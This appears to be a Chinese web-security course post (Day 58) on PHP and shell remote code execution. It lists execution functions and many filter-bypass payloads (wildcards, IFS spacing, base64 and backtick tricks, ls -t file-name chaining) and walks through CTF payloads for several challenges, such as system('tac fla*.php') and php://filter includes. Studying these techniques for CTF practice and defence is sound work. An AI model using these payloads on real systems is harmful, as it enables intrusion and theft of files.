Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘

作者 : admin 本文共2103个字,预计阅读时间需要6分钟 发布时间: 2024-06-10 共2人阅读

目录

RCE & 代码执行 & 命令执行

RCE-利用&绕过&异或&回显

关键字过滤 – 过滤 flag

过滤执行命令(如cat tac等)

过滤执行空格

无回显利用

演示案例—白盒-CTF-RCE代码命令执行

29-通配符

30-取代函数&通配符&管道符

31-参数逃逸

32~36-配合包含&伪协议

黑盒-运行-RCE代码命令执行


知识点

1、RCE原理代码执行&命令执行

2、RCE黑白盒过滤绕过&不回显方案

RCE & 代码执行 & 命令执行

RCE代码执行:引用脚本代码解析执行

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(1)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(2)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(3)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(4)

RCE命令执行:脚本调用操作系统命令

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(5)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(6)

命令执行也是能转换为代码执行的,只不过比较麻烦。

PHP代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

PHP命令执行函数:

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

Python:

eval exec subprocess os.system commands 

Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

代码执行:

  1. 脚本——java,php,python
  2. 产生——Web源码、中间件平台、其他环境
  3. 检测——白盒 代码审计
  4. 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
  5. 防御——敏感函数禁用、变量过滤或固定、WAF产品

命令执行:

  1. 系统——Linux、Windows
  2. 产生——web源码、中间件平台、其他环境
  3. 检测——白盒 代码审计
  4. 检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
  5. 防御——敏感函数禁用、变量过滤或固定、WAF产品
     

RCE-利用&绕过&异或&回显

关键字过滤 – 过滤 flag

通配符绕过

flag=fl*
cat fl*
cat ?la*

转义符号

ca	 /fl\ag
cat fl''ag

使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过

ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
cat flag

拼接法

a=fl;b=ag;cat$IFS$a$b

反引号绕过

cat `ls`   //在php中这个`反引号代表执行命令的意思

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(7)

 编码绕过

echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(8)

组合绝活

touch "ag"
touch "fl\"
touch "t \"
touch "ca\"
ls -t >shell  -t是指以时间来展示文件
sh shell
#  \指的是换行
#  ls -t是将文本按时间排序输出
#  ls -t >shell  将输出输入到shell文件中
#  sh将文本中的文字读取出来执行

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(9)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(10)

异或无符号(过滤0-9a-zA-Z)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(11)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(12)

异或(算法):rce-xor.php //打包好的脚本

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(13)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(14)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(15)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(16)

异或(算法):rce-xor.py //打包好的脚本

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(17)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(18)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(19)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(20)

或(算法):rce-xor-or.php//打包好的脚本

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(21)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(22)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(23)

或(算法):rce-xor-or.py //打包好的脚本

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(24)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(25)

过滤执行命令(如cat tac等)

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

过滤执行空格

%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}

无回显利用

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(26)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(27)

直接写个文件访问查看

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(28)

直接进行对外访问dnslog

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(29)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(30)

演示案例—白盒-CTF-RCE代码命令执行

29-通配符

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(31)

?c=system(‘tac fla*.php’);

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(32)

30-取代函数&通配符&管道符

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(33)

?c=echo shell_exec(‘tac fla*’);

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(34)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(35)

31-参数逃逸

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(36)

?c=eval($_GET[1]);&1=system(‘tac flag.php’);  //为什么这样写,因为代码只检测参数c

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(37)

32~36-配合包含&伪协议

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(38)

?c=include$_GET[a]?>&a=data://text/plain,

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(39)

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(40)

黑盒-运行-RCE代码命令执行

比较有难度,要思考哪些功能点会执行代码或者命令,但是这种不太常见,也可以直接利用工具帮忙探测(awvs、xray等)

例如:
代码在线运行平台测试

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(41)

反弹shell

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(42)

Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘插图(43)

本站无任何商业行为
个人在线分享 » Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘
E-->